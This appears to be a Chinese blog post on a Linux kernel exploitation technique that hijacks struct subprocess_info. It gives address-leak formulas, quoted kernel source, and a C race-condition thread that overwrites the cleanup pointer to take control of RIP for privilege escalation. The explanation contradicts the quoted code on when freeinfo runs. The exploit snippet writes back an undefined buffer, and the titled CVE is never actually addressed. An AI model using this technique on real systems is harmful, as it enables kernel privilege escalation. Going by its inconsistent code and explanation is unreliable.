CVE-2016-6187复现以及struct subprocess_info的劫持

struct subprocess_info

size: 0x60 (kmalloc-128)

kernel_base
=subprocess_info.work.func-call_usermodehelper_exec_work
=((uint64_t *)subprocess_info)[0x3]-call_usermodehelper_exec_work

heap	//size=0x10 (kmalloc-16)
=subprocess_info.work.list_head.next=subprocess_info.work.list_head.prev
=((uint64_t *)subprocess_info)[0x1]=((uint64_t *)subprocess_info)[0x2]

stack=NULL

Struct Define: 

struct subprocess_info
{
	struct work_struct work;
	struct completion *complete;
	const char *path;
	char **argv;
	char **envp;
	int wait;
	int retval;
	int (*init)(struct subprocess_info *info, struct cred *new);
	void (*cleanup)(struct subprocess_info *info);
	void *data;
} __randomize_layout;
//https://elixir.bootlin.com/linux/v5.11/source/include/linux/umh.h#L19

struct work_struct {
	atomic_long_t data;
	struct list_head entry;
	work_func_t func;
#ifdef CONFIG_LOCKDEP
	struct lockdep_map lockdep_map;
#endif
};
//https://elixir.bootlin.com/linux/v5.11/source/include/linux/workqueue.h#L102

struct list_head {
	struct list_head *next, *prev;
};
//https://elixir.bootlin.com/linux/v5.11/source/include/linux/types.h#L178

使用方法: 

socket(22,AF_INET,0);

地址描述符22不存在但是会触发如下函数

int call_usermodehelper(const char *path, char **argv, char **envp, int wait)
{
	struct subprocess_info *info;
	gfp_t gfp_mask = (wait == UMH_NO_WAIT) ? GFP_ATOMIC : GFP_KERNEL;

	info = call_usermodehelper_setup(path, argv, envp, gfp_mask,
					 NULL, NULL, NULL);
	if (info == NULL)
		return -ENOMEM;

	return call_usermodehelper_exec(info, wait);
}
//https://elixir.bootlin.com/linux/v5.11/source/kernel/umh.c#L472

call_usermodehelper_setup函数会创建一个subprocess_info结构体并初始化

struct subprocess_info *call_usermodehelper_setup(const char *path, char **argv,
		char **envp, gfp_t gfp_mask,
		int (*init)(struct subprocess_info *info, struct cred *new),
		void (*cleanup)(struct subprocess_info *info),
		void *data)
{
	struct subprocess_info *sub_info;
	sub_info = kzalloc(sizeof(struct subprocess_info), gfp_mask);
	if (!sub_info)
		goto out;

	INIT_WORK(&sub_info->work, call_usermodehelper_exec_work);

#ifdef CONFIG_STATIC_USERMODEHELPER
	sub_info->path = CONFIG_STATIC_USERMODEHELPER_PATH;
#else
	sub_info->path = path;
#endif
	sub_info->argv = argv;
	sub_info->envp = envp;

	sub_info->cleanup = cleanup;
	sub_info->init = init;
	sub_info->data = data;
  out:
	return sub_info;
}

初始化完毕后,紧接着会调用call_usermodehelper_exec函数

int call_usermodehelper_exec(struct subprocess_info *sub_info, int wait)
{
	DECLARE_COMPLETION_ONSTACK(done);
	int retval = 0;

	if (!sub_info->path) {
		call_usermodehelper_freeinfo(sub_info);
		return -EINVAL;
	}
	...
}

而当sub_info->path存在的情况下则会调用call_usermodehelper_freeinfo函数

static void call_usermodehelper_freeinfo(struct subprocess_info *info)
{
	if (info->cleanup)
		(*info->cleanup)(info);
	kfree(info);
}

而实际上大部分情况下path默认是存在值的,因此只需要更改clean字段绕过检测即可劫持RIP

然而在正常情况下,call_usermodehelper_setup函数在初始化完成后紧接着就会调用call_usermodehelper_exec函数

所以我们需要通过条件竞争去劫持subprocess_info->clean字段来劫持RIP

void *thread(void *thread_arg)
{
	uint64_t *info_buf=malloc(0x60);
	while (1)
	{
		read(dev_fd,info_buf,0x60);
		if (info_buf[0]==0x80)
		{
			info_buf[0xA]=(uint64_t)EVAL_RIP;
			write(dev_fd,buf,0x60);
			break;
		}
	}
}

//In main
pthread_t thread_pid;
pthread_create(&thread_pid,NULL,thread,NULL);
socket(22,AF_INET,0);
...
pthread_join(thread_pid,NULL);

成功劫持RIP之后,调用时的rdi恰好为我们劫持的subprocess_info结构体

因此非常适合使用work_for_cpu_fn函数进行进一步劫持以及提权操作

当然也可以选择使用栈迁移来进行进一步的劫持操作

REGISTERS:
RAX=EVAL_RIP
RDI=subprocess_info_addr
R12=subprocess_info_addr

BACKTRACE:
0x0000000000000000 : mov qword ptr [rsp], rax ;
0x0000000000000000 : ret ;
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇